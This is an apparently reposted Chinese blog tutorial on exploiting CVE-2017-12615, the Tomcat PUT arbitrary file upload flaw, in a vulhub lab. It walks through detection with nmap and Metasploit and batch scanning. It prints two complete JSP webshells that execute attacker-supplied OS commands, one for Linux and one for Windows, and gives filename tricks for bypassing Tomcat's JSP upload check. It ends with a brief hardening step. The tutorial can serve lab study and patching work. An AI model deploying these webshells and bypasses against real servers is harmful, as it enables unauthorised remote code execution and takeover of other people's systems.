CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程

目录

  • 漏洞描述
  • 影响版本
  • 漏洞环境搭建
  • 漏洞检测
    • nmap
    • msf
    • 批量检查put
  • 漏洞利用
  • 漏洞加固
  • 参考文章


漏洞描述

  在Tomcat中发现了一个漏洞,该漏洞中,如果将servlet上下文配置为readonly = false并允许HTTP PUT请求,则攻击者可以将JSP文件上载到该上下文并实现代码执行。

影响版本

tomcat 7.0.0至7.0.79

漏洞环境搭建

使用vulhub直接docker一键启动环境CVE-2017-12615环境

docker快速入门以及漏洞环境搭建

下载安装好vulhub后进入/tomcat/CVE-2017-12615目录,执行以下命令

docker-compose up -d

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第1张图片
然后查看当前虚拟机ip,并访问8080端口,即可出现tomcat页面

漏洞检测

注意:如果我们使用put协议创建一个目标已存在的文件,那么这个文件会被覆盖,大家在实战中千万不要put到index或已存在的中进行测试。

nmap

命令:

#nmap -p <端口>  --script http-put --script-args http-put.url="<上载到服务器的本地文件的完整路径>",http-put.file='<将文件存储到的远程目录和文件名>'
nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/test1.txt",http-put.file='E:\1.txt'

我在我E盘下新建了一个1.txt ,内容为:test put

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第2张图片
提示successfully created表示上传成功,我们手动访问

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第3张图片

msf

msfconsole

search http_put
use auxiliary/scanner/http/http_put

set filedata 'test put111'
set filename test1.txt
set rhosts 192.168.234.138
set rport 8080
show options 

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第4张图片

设置好后run,可提示一个加号说明上传成功

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第5张图片

在这里插入图片描述

批量检查put

  • namp ip扫描规则或使用 -iL 参数进行批量检测

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第6张图片

msf批量检测不太稳定,我批量检测时不行,单个ip却可以,不建议使用msf。

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第7张图片

漏洞利用

linux一句话木马:

# cmd2.jsp
<%
    if("023".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("
");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("
"
); } %>

windows一句话木马:

#windowscmd.jsp

<%@ page import="java.util.*,java.io.*,java.net.*"%>

<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n
"); Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet 来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。

这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

我们在put上传时也需要修改文件名绕过

nmap -p 8080 192.168.234.138 --script http-put --script-args http-put.url="/cmd.jsp/",http-put.file='E:\1.txt'

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第8张图片
访问木马文件:

在这里插入图片描述

漏洞加固

修改tomcat目录下的conf/web.xml文件,找到readonlyCVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第9张图片
false设置为true

CVE-2017-12615 Tomcat PUT 任意文件上传 漏洞利用教程_第10张图片

参考文章

https://paper.seebug.org/399/

你可能感兴趣的:(漏洞复现,tomcat,安全,安全漏洞,信息安全)